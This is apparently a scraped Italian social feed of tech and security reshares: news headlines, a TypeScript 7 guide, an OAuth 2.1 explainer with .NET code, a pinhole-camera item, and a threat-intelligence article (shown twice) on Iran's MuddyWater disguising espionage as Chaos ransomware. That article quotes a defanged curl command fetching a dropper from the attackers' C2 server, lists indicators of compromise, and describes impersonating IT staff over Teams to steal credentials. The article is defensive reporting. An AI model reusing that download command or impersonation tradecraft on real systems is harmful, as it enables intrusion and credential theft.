Much thanks to everyone who entered into this challenge. We had more great entries than we have space to feature, so be sure to check them all out on Hackaday.io. And of course, thanks again to DigiKey for sponsoring the contest, and for providing our three finalists with the parts they need!

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Malicious DeepSeek-Claw AI Skill Delivers Remcos RAT and GhostLoader in Agentic AI Supply Chain Attack
#CyberSecurity
securebulletin.com/malicious-d…
Cybersecurity & cyberwarfare ha ricondiviso questo.

U.S. #CISA adds a flaw in #Ivanti Endpoint Manager Mobile (EPMM) to its Known Exploited Vulnerabilities catalog
securityaffairs.com/191822/sec…
#securityaffairs #hacking
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Massive 2.45 Billion-Request DDoS Attack Uses 1.2 Million IPs to Defeat Rate Limiting in “Low and Slow” Campaign
#CyberSecurity
securebulletin.com/massive-2-4…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Critical Palo Alto PAN-OS Zero-Day CVE-2026-0300 Actively Exploited — Root Access Granted on 5,800+ Exposed Firewalls
#CyberSecurity
securebulletin.com/critical-pa…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

TypeScript 7 Beta abilitato di default in Visual Studio 2026: guida pratica
#tech
spcnet.it/typescript-7-beta-ab…
@informatica


TypeScript 7 Beta abilitato di default in Visual Studio 2026: guida pratica


Con la terza preview di Visual Studio 2026 18.6 Insiders, Microsoft ha compiuto un passo importante: il compilatore integrato di TypeScript è stato aggiornato a TypeScript 7 Beta (native preview). Per tutti gli sviluppatori che usano Visual Studio con progetti TypeScript o JavaScript — compresi i progetti ASP.NET Core con pacchetti npm — questo cambiamento è già attivo e vale la pena capire cosa comporta.

Cos’è il compilatore nativo di TypeScript 7?


TypeScript 7 è un porting nativo del compilatore TypeScript, riscritto in Go. Questo porta l’esecuzione nativa e il parallelismo a memoria condivisa al compilatore e al language service TypeScript. I risultati misurati parlano di:

  • Fino a 10x più veloce per la compilazione di codebase di grandi dimensioni.
  • Riduzione significativa dell’uso di memoria rispetto al compilatore precedente.
  • Caricamento dei progetti circa 8x più rapido all’apertura in Visual Studio.

Se lavori con progetti TypeScript o JavaScript di grandi dimensioni, noterai miglioramenti concreti su tutta l’esperienza di sviluppo.

Quali funzionalità di Visual Studio beneficiano di TypeScript 7?


Il language service TypeScript aggiornato migliora direttamente molte funzionalità dell’IDE:

  • IntelliSense e completamenti. I suggerimenti di codice e le informazioni sui parametri appaiono più velocemente, soprattutto nei progetti grandi dove in precedenza si notava un ritardo.
  • Find All References. La ricerca di riferimenti nell’intera soluzione è significativamente più rapida.
  • Go to Definition. La navigazione alle definizioni è più reattiva.
  • Diagnostica degli errori. Le sottolineature rosse e la lista degli errori si aggiornano più rapidamente mentre si scrive.
  • Tempi di caricamento dei progetti. L’apertura di progetti TypeScript e JavaScript è notevolmente più veloce, con tempi ridotti di circa 8x.


Come controllare quale versione di TypeScript usa Visual Studio


Visual Studio usa il compilatore TypeScript integrato solo quando il progetto non specifica una versione locale. Se nel tuo progetto è installato TypeScript tramite npm, Visual Studio userà automaticamente quella versione invece di quella integrata.

Disabilitare la native preview di TypeScript 7


Se preferisci tornare al language service precedente, puoi disabilitare la native preview in Visual Studio. Vai in Strumenti > Opzioni > Funzionalità di anteprima e cerca “native preview”. Deseleziona l’opzione Enable JavaScript/TypeScript Native Language Service Preview e riavvia Visual Studio.

Usare TypeScript 6.x (GA)


Per usare la release stabile corrente, installa il pacchetto typescript nel tuo progetto:

npm install -D typescript@^6.0.0


Visual Studio rileverà la versione nella cartella node_modules e utilizzerà quella invece del compilatore integrato.

Fissare una versione specifica della native preview


Se vuoi usare esplicitamente la native preview ma fissare una versione specifica, installa il pacchetto @typescript/native-preview:

npm install -D @typescript/native-preview@beta


Problemi noti (e come aggirarli)


TypeScript 7 porta miglioramenti significativi, ma il team Microsoft è ancora al lavoro per raggiungere la parità completa di funzionalità con il compilatore precedente. Ecco i problemi noti più rilevanti per il lavoro quotidiano:

  • IntelliSense. In alcuni casi i completamenti potrebbero non apparire. Nei file .cshtml, l’elenco dei completamenti potrebbe non apparire all’interno di un tag <script>. Premere Ctrl+Space può aggirare il problema.
  • Azioni codice e refactoring. Le correzioni rapide (Ctrl+.) non sono ancora disponibili. Il comando Organize Imports (Ctrl+R, Ctrl+G) non è disponibile.
  • Navigazione e ricerca. I dropdown della barra di navigazione in cima all’editor non mostrano i simboli del documento. Find All References (Shift+F12) mostra una lista piatta senza raggruppamento semantico.
  • CodeLens. I contatori di riferimenti (es. “19 references”) non appaiono sopra le dichiarazioni di interfacce e classi.
  • Rinomina file. Rinominare un file o una cartella in un progetto TypeScript non aggiorna in modo consistente i percorsi di import negli altri file.
  • File watching. Quando i file vengono modificati fuori da Visual Studio, le modifiche non vengono rilevate finché il file non viene aperto e modificato nell’IDE.


Come riportare feedback


Se riscontri problemi con il compilatore o il language service TypeScript 7, il posto migliore per segnalarli è il repository GitHub typescript-go.

Per problemi specifici di Visual Studio, usa Developer Community per segnalare bug o suggerire miglioramenti.

Quando aggiornare?


Se lavori su progetti TypeScript/JavaScript di grandi dimensioni in Visual Studio, i guadagni di performance giustificano la prova della native preview già ora, accettando i problemi noti. Per progetti più piccoli o in produzione dove la stabilità è critica, è ragionevole aspettare il rilascio stabile di TypeScript 7 o fissare esplicitamente la versione 6.x nel progetto.

In ogni caso, il messaggio è chiaro: la direzione di Microsoft è verso un TypeScript nativo, più veloce e meno esigente in termini di risorse. Vale la pena familiarizzare ora con le nuove opzioni di configurazione.


Fonte: TypeScript 7 Beta Now Enabled by Default in Visual Studio 2026 18.6 Insiders 3 di Sayed Ibrahim Hashimi (Visual Studio Blog)


Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

Vercel Data Breach: ShinyHunters Exploit OAuth Supply Chain Attack to Steal Customer Credentials for $2M Sale
#CyberSecurity
securebulletin.com/vercel-data…
Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario
#tech
spcnet.it/oauth-2-1-spiegato-s…
@informatica


OAuth 2.1 spiegato semplicemente: i tre flussi che coprono ogni scenario


OAuth 2.0 è stato a lungo sinonimo di complessità: sei grant type diversi, tutorial spesso contraddittori, e sviluppatori che finivano per scegliere il flusso sbagliato e pubblicare applicazioni insicure. Nel 2026 questo scenario appartiene al passato. OAuth 2.1 ha fatto ciò che la community chiedeva da anni: ha eliminato i flussi pericolosi, ha reso PKCE obbligatorio su ogni grant di autorizzazione, e ha lasciato una specifica molto più facile da imparare e quasi impossibile da usare in modo scorretto.

Se state sviluppando con .NET 10, questo articolo copre tutto ciò che dovete sapere. Tre flussi. Cinque secondi per scegliere quello giusto. Partiamo.

Il problema con OAuth 2.0


OAuth 2.0 nacque con una buona intenzione: delegare l’autorizzazione senza condividere le credenziali. Ma la specifica era così flessibile da includere flussi profondi (come l’Implicit Flow per le SPA) che erano già problematici nel 2012 e sono diventati veri e propri anti-pattern con l’evoluzione del web. Il risultato? Anni di articoli in conflitto, sviluppatori confusi, e vulnerabilità di sicurezza difficili da rilevare in code review.

OAuth 2.1 risolve questo alla radice: mantiene quello che funziona, rimuove quello che è pericoloso, e consolida le best practice nel testo normativo stesso.

Flusso 1: Client Credentials — comunicazione machine-to-machine


Quando nessun utente umano è coinvolto nella comunicazione, si usa il flusso Client Credentials. Esempi tipici:

  • Un job notturno che interroga un’API di reportistica
  • Un microservizio di spedizione che notifica il microservizio di inventario
  • Un worker in background che elabora una coda di messaggi
  • Un’API interna che chiama un altro servizio interno

In questi scenari, è il servizio stesso ad essere l’identità — agisce per proprio conto, non per conto di un utente. Il flusso è diretto e senza reindirizzamenti browser:

  1. Il servizio invia le proprie credenziali al token service via HTTP POST
  2. Il token service verifica l’identità e restituisce un access token
  3. Il servizio usa il token per chiamare le API target


// .NET 10 — richiesta di un token Client Credentials con IdentityModel
var client = new HttpClient();
var response = await client.RequestClientCredentialsTokenAsync(
    new ClientCredentialsTokenRequest
    {
        Address = "https://identity.example.com/connect/token",
        ClientId = "service-a",
        ClientSecret = "segreto-sicuro",
        Scope = "api1.read api1.write"
    });

var accessToken = response.AccessToken;
// Usa accessToken nell'Authorization header delle chiamate successive


OAuth 2.1 supporta tre meccanismi di autenticazione del client, in ordine crescente di sicurezza:
  • Client secret: client_id e client_secret nell’header Basic o nel body — semplice ma richiede una buona gestione dei segreti
  • private_key_jwt: il client firma un JWT con la propria chiave privata; il token service valida la firma con la chiave pubblica registrata
  • Mutual TLS (mTLS): autenticazione al livello di trasporto con certificati X.509 — massima sicurezza per ambienti ad alto rischio


Flusso 2: Authorization Code + PKCE — applicazioni con utente


Se un essere umano deve autenticarsi, questa è la risposta universale. Che si tratti di un’app Razor Pages server-side, un’app mobile nativa, un’applicazione desktop o una SPA dietro un Backend-for-Frontend, Authorization Code con PKCE è il flusso corretto in OAuth 2.1 — senza eccezioni.

Come funziona


  1. L’applicazione reindirizza l’utente all’authorization endpoint del provider di identità
  2. L’utente si autentica (password, MFA, policy aziendali)
  3. Il provider reindirizza l’utente all’applicazione con un authorization code di breve durata
  4. L’applicazione scambia il codice per i token tramite una chiamata back-channel diretta

Le credenziali dell’utente non toccano mai l’applicazione. I token non transitano mai attraverso la barra degli indirizzi del browser.

PKCE: protezione contro l’intercettazione del codice


PKCE (Proof Key for Code Exchange, pronunciato “pixie”) aggiunge uno strato critico di protezione all’exchange del codice. Prima di avviare il flusso, l’applicazione:

  1. Genera una stringa casuale (code_verifier)
  2. Calcola il suo hash SHA-256 (code_challenge)
  3. Invia il code_challenge nella richiesta di autorizzazione

Quando poi scambia il codice per i token, invia il code_verifier originale. Il token service verifica che l’hash corrisponda alla challenge registrata. Un attaccante che intercetta l’authorization code — attraverso un’app malevola sullo stesso custom URI scheme, un redirect compromesso, o qualsiasi altro vettore — non può usarlo senza il code_verifier. Il codice è inutile senza di esso.

// .NET 10 — configurazione OIDC con Authorization Code + PKCE
builder.Services
    .AddAuthentication(options =>
    {
        options.DefaultScheme = "cookie";
        options.DefaultChallengeScheme = "oidc";
    })
    .AddCookie("cookie")
    .AddOpenIdConnect("oidc", options =>
    {
        options.Authority = "https://identity.example.com";
        options.ClientId = "web-app";
        options.ClientSecret = "segreto-sicuro";
        options.ResponseType = "code";       // Authorization Code Flow
        options.UsePkce = true;              // PKCE (abilitato di default in .NET)
        options.SaveTokens = true;
        options.Scope.Add("openid");
        options.Scope.Add("profile");
        options.Scope.Add("api1.read");
    });


Nota importante sulle SPA: le best practice correnti raccomandano di non esporre token al codice JavaScript lato client. Le SPA dovrebbero usare il pattern Backend-for-Frontend (BFF), dove è il server a gestire il flusso OIDC e a esporre solo cookie di sessione al browser.

Flusso 3: Device Authorization — dispositivi senza browser


Alcuni dispositivi non hanno un browser o una tastiera utilizzabile: smart TV, console di gioco, sensori IoT, strumenti CLI in ambienti headless. Non si può reindirizzare un utente a una pagina di login che non esiste.

Il flusso Device Authorization (RFC 8628) risolve questo con un pattern disaccoppiato:

  1. Il dispositivo richiede un codice utente e un URL di verifica al token service
  2. Il dispositivo mostra all’utente qualcosa come: “Vai su login.example.com/device e inserisci il codice: ABCD-1234”
  3. L’utente prende il proprio telefono o laptop, naviga all’URL, inserisce il codice e si autentica normalmente
  4. Nel frattempo, il dispositivo fa polling al token endpoint a intervalli regolari
  5. Quando l’utente completa l’autenticazione, il dispositivo riceve l’access token

È semplice, sicuro, e non richiede al dispositivo vincolato di rendere un’interfaccia di login.

L’albero decisionale di OAuth 2.1


Scegliere il flusso corretto richiede esattamente due domande:

  1. È coinvolto un utente umano?No → Client Credentials
    • Sì → vai al punto 2


  2. Il dispositivo ha un browser?Sì → Authorization Code + PKCE
    • No → Device Authorization


Questo è l’intero albero decisionale. Niente eccezioni. Niente casi speciali (a parte scenari legacy di migrazione).

Cosa ha rimosso OAuth 2.1 e perché


Tre flussi di OAuth 2.0 sono stati eliminati dallo standard. Non è necessario impararli per le nuove applicazioni, ma capire perché sono stati rimossi aiuta a riconoscerli se ci si imbatte in codice datato:

  • Implicit Flow: era nato per le SPA in un’epoca in cui i browser non supportavano chiamate cross-origin POST. Restituiva i token direttamente nel fragment dell’URL, rendendoli visibili nella history del browser, nelle intestazioni referer e nei log del server. Con il supporto universale di CORS, la sua ragion d’essere è svanita.
  • Resource Owner Password Credentials (ROPC): chiedeva agli utenti di digitare username e password direttamente nell’applicazione client — vanificando l’intero scopo di OAuth. Non supportava MFA o login federato, e abituava gli utenti a consegnare le proprie credenziali ad app che non avrebbero dovuto averle.
  • Authorization Code senza PKCE: funzionava sulle app server-side, ma su piattaforme mobile più applicazioni possono registrarsi sullo stesso URI scheme personalizzato. Un’app malevola poteva intercettare l’authorization code e scambiarlo per token. Con PKCE obbligatorio, il codice intercettato diventa inutile.


Conclusioni


OAuth 2.1 è il protocollo di autorizzazione che avremmo voluto avere dal principio: tre flussi chiari, PKCE obbligatorio, nessuna ambiguità nella scelta. Per chi sviluppa in .NET 10, l’ecosistema è già allineato — le librerie come Duende IdentityServer e IdentityModel implementano questi pattern nativamente. Il passo successivo è una revisione del codice esistente per identificare eventuali flussi legacy da migrare.

Fonte: OAuth 2.1 Made Simple: The Only Flows You Need — Khalid Abuhakmeh, Duende Software, 6 maggio 2026


Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

La scusa? I bambini. Risultato? Sorveglianza. Negli USA verifica dell’età per l’uso delle AI

📌 Link all'articolo : redhotcyber.com/post/la-scusa-…

A cura di Silvia Felici

#redhotcyber #news #protezioneminori #chatbotAI #privacysorveglianza #leggeUSA #GUARDAct

Cybersecurity & cyberwarfare ha ricondiviso questo.

Chaos ransomware: quando lo spionaggio iraniano si maschera da cybercrime


@Informatica (Italy e non Italy)
Un'operazione sotto falsa bandiera svela come l’APT MuddyWater affiliato al governo di Teheran abbia sfruttato l'ecosistema criminale del ransomware-as-a-service per condurre spionaggio geopolitico e prepararsi a future operazioni offensive. È la prova che i

Cybersecurity & cyberwarfare ha ricondiviso questo.

Police arrested three men accused of driving around an SMS blaster across downtown Toronto, which allegedly blasted tens of thousands of phones with spammy text messages over several months.

techcrunch.com/2026/05/07/poli…

in reply to Cat 🐈🥗 (D.Burch) ⁠

to be fair it does cause collateral damage, as well as interfering with existing GSM/LTE comms - for once the feds/Communications Ministry *aren't* exaggerating when they warn of interference to vital services, unless spammers correctly configure their kit to correctly route 112/999/911 calls (which is unlikely!)
Questa voce è stata modificata (1 mese fa)

Wigglegrams with a Pinhole Camera


The media in this post is not displayed to visitors. To view it, please log in.

A pinhole camera is almost a rite of passage in photography, given that you can make one so easily with little more than a cardboard box and enough tape to keep the light from coming through the cracks. [Socialmocracy] has made one that’s 3D printed, and it’s a nice design that takes 4″ by 5″ photographic paper. The shutter is held on with magnets, and the lid is attached with thumbscrews.

As neat as printed pinhole cameras are, it’s not as though they’re particularly uncommon. What makes this one stand out from the rest is that it’s actually two cameras in one. One box, two cameras, side by side. Landscape format and it’s a pair of panoramic cameras, while in portrait mode it’s a stereo camera. Even the simplest of cameras can do wigglegrams!

We like this camera, because it manages to add something to such a simple formula.. He’s taking comments on whether to release the STLs, so drop in your two cents.

youtube.com/embed/lxrJJpE4Zws?…


hackaday.com/2026/05/07/wiggle…

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please go to the original post.

The media in this post is not displayed to visitors. To view it, please go to the original post.

MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime
#CyberSecurity
insicurezzadigitale.com/muddyw…


MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime


Si parla di:
Toggle

Un’operazione di cyberspionaggio tra le più sofisticate degli ultimi anni si è celata dietro la maschera di un comune attacco ransomware. Rapid7 ha documentato come MuddyWater — il gruppo APT affiliato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS) — abbia utilizzato Microsoft Teams per rubare credenziali, manipolare l’autenticazione a più fattori e stabilire persistenza a lungo termine all’interno di reti occidentali. Il ransomware Chaos? Solo un’esca per confondere le acque dell’attribuzione.

Il gruppo MuddyWater: identità e contesto operativo


MuddyWater (noto anche come Mango Sandstorm, Seedworm e Static Kitten) è un attore state-sponsored attivo almeno dal 2017, attribuito con alta confidenza al MOIS iraniano. Il gruppo si distingue per la predilezione verso tecniche di social engineering avanzato, l’abuso di strumenti legittimi di accesso remoto e campagne mirate principalmente verso organizzazioni governative, di difesa e infrastrutture critiche in Medio Oriente, Europa e Nord America.

In passato, MuddyWater ha utilizzato tool come SimpleHelp, ScreenConnect e AnyDesk per mantenere la persistenza sulle reti compromesse. La novità emersa dall’incidente analizzato da Rapid7 all’inizio del 2026 è l’utilizzo di Microsoft Teams come vettore di ingresso iniziale — un’evoluzione tattica che riflette l’adattamento del gruppo alle piattaforme di collaborazione aziendale ormai ubique nelle organizzazioni bersaglio.

La falsa bandiera: cos’è il ransomware Chaos


Il ransomware Chaos è una operazione RaaS (Ransomware-as-a-Service) attiva dal febbraio 2025, probabilmente composta da ex membri dei gruppi BlackSuit e Royal dopo lo smantellamento durante l’Operazione Checkmate nel luglio 2025. Il gruppo Chaos adotta tattiche di “big-game hunting”, con richieste di riscatto fino a 300.000 dollari, e ha rivendicato 36 vittime fino a fine marzo 2026, concentrandosi principalmente su aziende statunitensi nei settori edile, manifatturiero e dei servizi.

La caratteristica che ha indotto MuddyWater a scegliere Chaos come copertura è la tecnica di accesso iniziale del gruppo criminale: spam massivo di email combinato con vishing (voice phishing) e successiva richiesta di accesso remoto tramite Microsoft Quick Assist o Teams — un modus operandi che MuddyWater ha potuto replicare fedelmente per non destare sospetti.

La catena di attacco: dal social engineering alla persistenza silenziosa


L’intrusione analizzata da Rapid7 si è articolata in fasi distinte, tutte condotte attraverso canali legittimi per minimizzare il rilevamento. Nella prima fase, gli attaccanti hanno contattato dipendenti attraverso richieste di chat esterne su Microsoft Teams, impersonando personale IT. Durante sessioni interattive di screen-sharing, hanno raccolto credenziali e manipolato il processo di MFA. Una volta ottenute credenziali valide, il threat actor si è mosso lateralmente usando account interni legittimi, installando poi DWAgent e AnyDesk per garantirsi canali di accesso persistente.

La fase successiva ha visto il download del dropper principale tramite RDP:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

Il dropper ms_upd.exe si connette al server C2 moonzonet[.]com via richieste /register e /check, scaricando poi tre componenti: WebView2Loader.dll (SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a), il RAT principale Game.exe (SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6) e il file di configurazione cifrata visualwincomp.txt (SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0).

Il RAT Game.exe: analisi tecnica


Game.exe è un Remote Access Trojan che si maschera da applicazione Microsoft WebView2 legittima. Il PDB path rivela l’ambiente di sviluppo: C:\Users\pc\Downloads\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb. Significativamente, il RAT non implementa alcuna forma di offuscamento — le importazioni API sono risolte staticamente e le stringhe sono in chiaro — il che suggerisce uno strumento sviluppato per deployment limitato e monouso. Al momento del report di Rapid7, solo due campioni erano stati osservati in repository pubblici.

L’attribuzione: il “tell” nel certificato di firma


Il collegamento a MuddyWater emerge da un artefatto tecnico specifico: il certificato di firma del codice intestato a “Donald Gay”, precedentemente utilizzato dal gruppo per firmare il downloader CastleLoader (noto come Fakeset). La sovrapposizione dell’infrastruttura C2 e il tradecraft operativo confermano l’attribuzione con confidenza moderata. La scelta di non cifrare alcun file — deviando dal playbook standard di Chaos — è il segnale più chiaro della vera natura dell’operazione: l’obiettivo non era l’estorsione finanziaria, ma l’esfiltrazione di dati e il prepositioning a lungo termine nelle reti compromesse.

La convergenza tra APT e cybercrime: una tendenza sistemica


Questo incidente si inserisce in una tendenza documentata: i gruppi APT state-sponsored stanno deliberatamente adottando le TTP del cybercrime organizzato per offuscare l’attribuzione. Replicando le tecniche dei RaaS o acquistando accesso alle loro infrastrutture, attori come MuddyWater possono far apparire operazioni di spionaggio geopolitico come semplici attacchi a scopo di lucro, complicando la risposta diplomatica e legale. Il caso Chaos/MuddyWater è solo l’esempio più recente di questa convergenza, che era già emersa con attori nordcoreani (Lazarus) e russi (Sandworm) in operazioni precedenti.

Indicatori di Compromissione (IoC)

# Hash - WebView2Loader.dll (legittimo DLL trojanizzato)
SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

# Hash - Game.exe (RAT principale)
SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

# Hash - visualwincomp.txt (configurazione cifrata)
SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

# C2 IP
172.86.126[.]208:443

# C2 Dominio
moonzonet[.]com

# Strumenti di persistenza
DWAgent, AnyDesk

# Path dropper
C:\ProgramData\ms_upd.exe

Due righe per i difensori


  • Limitare le chat esterne su Microsoft Teams: bloccare o richiedere approvazione esplicita per le chat provenienti da tenant esterni non trusted.
  • Monitorare sessioni di screen-sharing anomale: alertare su sessioni avviate da contatti esterni non verificati, specialmente se combinano condivisione schermo e richieste di credenziali.
  • Audit degli strumenti di accesso remoto: inventariare DWAgent, AnyDesk e simili; bloccare installazioni non approvate tramite policy di endpoint management.
  • MFA phishing-resistant: passare da TOTP/SMS a FIDO2/passkey per eliminare la superficie di attacco della manipolazione MFA via social engineering.
  • Non fermarsi all’etichetta ransomware: in caso di attacco ransomware senza cifratura o con anomalie comportamentali, considerare sempre la possibilità di una false flag operation state-sponsored.


Cybersecurity & cyberwarfare ha ricondiviso questo.

A me piacciono. Le #AI, intendo.

Mi piace il momento in cui mi danno una risposta brillante, e quello dopo, in cui mi mentono in faccia con la stessa sicurezza.
Mi piace anche, ammetto, la pigrizia che mi regalano nei pomeriggi giusti.

Quello che mi piace meno l'ho messo nel #SocialDebug di oggi - sempre di giovedì 🦄

Qui: signorina37.substack.com/p/soc…

reshared this

Cybersecurity & cyberwarfare ha ricondiviso questo.

The media in this post is not displayed to visitors. To view it, please log in.

MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime


@Informatica (Italy e non Italy)
Il gruppo APT iraniano MuddyWater ha condotto un'operazione di cyberspionaggio mascherandola da attacco ransomware Chaos. Rapid7 rivela come Microsoft Teams sia stato usato per rubare credenziali e


MuddyWater usa il ransomware Chaos come falsa bandiera: l’Iran maschera lo spionaggio di Stato da cybercrime


Si parla di:
Toggle

Un’operazione di cyberspionaggio tra le più sofisticate degli ultimi anni si è celata dietro la maschera di un comune attacco ransomware. Rapid7 ha documentato come MuddyWater — il gruppo APT affiliato al Ministero dell’Intelligence e della Sicurezza iraniano (MOIS) — abbia utilizzato Microsoft Teams per rubare credenziali, manipolare l’autenticazione a più fattori e stabilire persistenza a lungo termine all’interno di reti occidentali. Il ransomware Chaos? Solo un’esca per confondere le acque dell’attribuzione.

Il gruppo MuddyWater: identità e contesto operativo


MuddyWater (noto anche come Mango Sandstorm, Seedworm e Static Kitten) è un attore state-sponsored attivo almeno dal 2017, attribuito con alta confidenza al MOIS iraniano. Il gruppo si distingue per la predilezione verso tecniche di social engineering avanzato, l’abuso di strumenti legittimi di accesso remoto e campagne mirate principalmente verso organizzazioni governative, di difesa e infrastrutture critiche in Medio Oriente, Europa e Nord America.

In passato, MuddyWater ha utilizzato tool come SimpleHelp, ScreenConnect e AnyDesk per mantenere la persistenza sulle reti compromesse. La novità emersa dall’incidente analizzato da Rapid7 all’inizio del 2026 è l’utilizzo di Microsoft Teams come vettore di ingresso iniziale — un’evoluzione tattica che riflette l’adattamento del gruppo alle piattaforme di collaborazione aziendale ormai ubique nelle organizzazioni bersaglio.

La falsa bandiera: cos’è il ransomware Chaos


Il ransomware Chaos è una operazione RaaS (Ransomware-as-a-Service) attiva dal febbraio 2025, probabilmente composta da ex membri dei gruppi BlackSuit e Royal dopo lo smantellamento durante l’Operazione Checkmate nel luglio 2025. Il gruppo Chaos adotta tattiche di “big-game hunting”, con richieste di riscatto fino a 300.000 dollari, e ha rivendicato 36 vittime fino a fine marzo 2026, concentrandosi principalmente su aziende statunitensi nei settori edile, manifatturiero e dei servizi.

La caratteristica che ha indotto MuddyWater a scegliere Chaos come copertura è la tecnica di accesso iniziale del gruppo criminale: spam massivo di email combinato con vishing (voice phishing) e successiva richiesta di accesso remoto tramite Microsoft Quick Assist o Teams — un modus operandi che MuddyWater ha potuto replicare fedelmente per non destare sospetti.

La catena di attacco: dal social engineering alla persistenza silenziosa


L’intrusione analizzata da Rapid7 si è articolata in fasi distinte, tutte condotte attraverso canali legittimi per minimizzare il rilevamento. Nella prima fase, gli attaccanti hanno contattato dipendenti attraverso richieste di chat esterne su Microsoft Teams, impersonando personale IT. Durante sessioni interattive di screen-sharing, hanno raccolto credenziali e manipolato il processo di MFA. Una volta ottenute credenziali valide, il threat actor si è mosso lateralmente usando account interni legittimi, installando poi DWAgent e AnyDesk per garantirsi canali di accesso persistente.

La fase successiva ha visto il download del dropper principale tramite RDP:

curl hxxp[://]172.86.126[.]208:443/ms_upd.exe -o C:\ProgramData\ms_upd.exe

Il dropper ms_upd.exe si connette al server C2 moonzonet[.]com via richieste /register e /check, scaricando poi tre componenti: WebView2Loader.dll (SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a), il RAT principale Game.exe (SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6) e il file di configurazione cifrata visualwincomp.txt (SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0).
Il RAT Game.exe: analisi tecnica


Game.exe è un Remote Access Trojan che si maschera da applicazione Microsoft WebView2 legittima. Il PDB path rivela l’ambiente di sviluppo: C:\Users\pc\Downloads\WebView2Samples-main\SampleApps\WebView2APISample\Release\x64\WebView2APISample.pdb. Significativamente, il RAT non implementa alcuna forma di offuscamento — le importazioni API sono risolte staticamente e le stringhe sono in chiaro — il che suggerisce uno strumento sviluppato per deployment limitato e monouso. Al momento del report di Rapid7, solo due campioni erano stati osservati in repository pubblici.

L’attribuzione: il “tell” nel certificato di firma


Il collegamento a MuddyWater emerge da un artefatto tecnico specifico: il certificato di firma del codice intestato a “Donald Gay”, precedentemente utilizzato dal gruppo per firmare il downloader CastleLoader (noto come Fakeset). La sovrapposizione dell’infrastruttura C2 e il tradecraft operativo confermano l’attribuzione con confidenza moderata. La scelta di non cifrare alcun file — deviando dal playbook standard di Chaos — è il segnale più chiaro della vera natura dell’operazione: l’obiettivo non era l’estorsione finanziaria, ma l’esfiltrazione di dati e il prepositioning a lungo termine nelle reti compromesse.

La convergenza tra APT e cybercrime: una tendenza sistemica


Questo incidente si inserisce in una tendenza documentata: i gruppi APT state-sponsored stanno deliberatamente adottando le TTP del cybercrime organizzato per offuscare l’attribuzione. Replicando le tecniche dei RaaS o acquistando accesso alle loro infrastrutture, attori come MuddyWater possono far apparire operazioni di spionaggio geopolitico come semplici attacchi a scopo di lucro, complicando la risposta diplomatica e legale. Il caso Chaos/MuddyWater è solo l’esempio più recente di questa convergenza, che era già emersa con attori nordcoreani (Lazarus) e russi (Sandworm) in operazioni precedenti.

Indicatori di Compromissione (IoC)

# Hash - WebView2Loader.dll (legittimo DLL trojanizzato)
SHA256: a47cd0dc12f0152d8f05b79e5c86bac9231f621db7b0e90a32f87b98b4e82f3a

# Hash - Game.exe (RAT principale)
SHA256: 1319d474d19eb386841732c728acf0c5fe64aa135101c6ceee1bd0369ecf97b6

# Hash - visualwincomp.txt (configurazione cifrata)
SHA256: c86ab27100f2a2939ac0d4a8af511f0a1a8116ba856100aae03bc2ad6cb0f1e0

# C2 IP
172.86.126[.]208:443

# C2 Dominio
moonzonet[.]com

# Strumenti di persistenza
DWAgent, AnyDesk

# Path dropper
C:\ProgramData\ms_upd.exe

Due righe per i difensori


  • Limitare le chat esterne su Microsoft Teams: bloccare o richiedere approvazione esplicita per le chat provenienti da tenant esterni non trusted.
  • Monitorare sessioni di screen-sharing anomale: alertare su sessioni avviate da contatti esterni non verificati, specialmente se combinano condivisione schermo e richieste di credenziali.
  • Audit degli strumenti di accesso remoto: inventariare DWAgent, AnyDesk e simili; bloccare installazioni non approvate tramite policy di endpoint management.
  • MFA phishing-resistant: passare da TOTP/SMS a FIDO2/passkey per eliminare la superficie di attacco della manipolazione MFA via social engineering.
  • Non fermarsi all’etichetta ransomware: in caso di attacco ransomware senza cifratura o con anomalie comportamentali, considerare sempre la possibilità di una false flag operation state-sponsored.